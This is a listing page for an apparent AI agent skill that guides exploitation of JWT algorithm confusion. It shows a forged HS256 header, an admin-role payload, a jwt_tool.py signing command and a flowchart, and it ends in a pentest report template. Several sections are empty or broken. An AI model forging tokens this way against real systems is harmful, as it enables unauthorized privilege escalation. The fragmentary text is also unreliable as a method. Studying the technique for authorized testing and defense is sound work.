Jwt algorithm confusion

From ShulkwiSEC/bb-huge · View interactive version

Jwt algorithm confusion is an AI agent skill from the GitHub repository ShulkwiSEC/bb-huge. Identify and exploit Algorithm Confusion vulnerabilities in JSON Web Tokens (JWT). This skill details how to bypass signature verification by changing the signing algorithm from asymmetric (RS256) to symmetric (HS256) and using the public key as the symmetric secret.

How to use this skill

Skill file

JWT Algorithm Confusion

When to Use

Prerequisites

Workflow

Phase 1: Reconnaissance (Finding the Public Key)

# Concept: JWT Algorithm Confusion ```

### Phase 2: Intercepting and Modifying the JWT Header

// {

"alg": "HS256",

"typ": "JWT"

}


### Phase 3: Modifying the Payload (Privilege Escalation)

// {

"user": "attacker",

"role": "admin",

"iat": 1716260400

}


### Phase 4: Signing the Forged JWT

jwt_tool.py [ENCODED_HEADER].[ENCODED_PAYLOAD] -S hs256 -k public_key.pem


#### Decision Point 🔀

flowchart TD

A[Forge JWT ] --> B{Server Accepts? ]}

B -->|Yes| C[Exploit API ]

B -->|No| D[Check None Alg ]

C --> E[Document Flaw ]



## 🔵 Blue Team Detection & Defense
- **Enforce Algorithm Verification**: **Library Updates**: **Public Key Secrecy (Symmetric fallback)**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format

Jwt Algorithm Confusion — Assessment Report

============================================================

Target: [Target identifier]

Assessor: [Operator name]

Date: [Assessment date]

Scope: [Authorized scope]

MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:

[Finding 1]: [Severity] — [Brief description]

[Finding 2]: [Severity] — [Brief description]

Detailed Results:

Phase 1: [Phase name]

Phase 2: [Phase name]

Risk Rating: [Critical/High/Medium/Low/Informational]

Recommendations:

1. [Immediate remediation step]

2. [Long-term hardening measure]

3. [Monitoring/detection improvement]

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.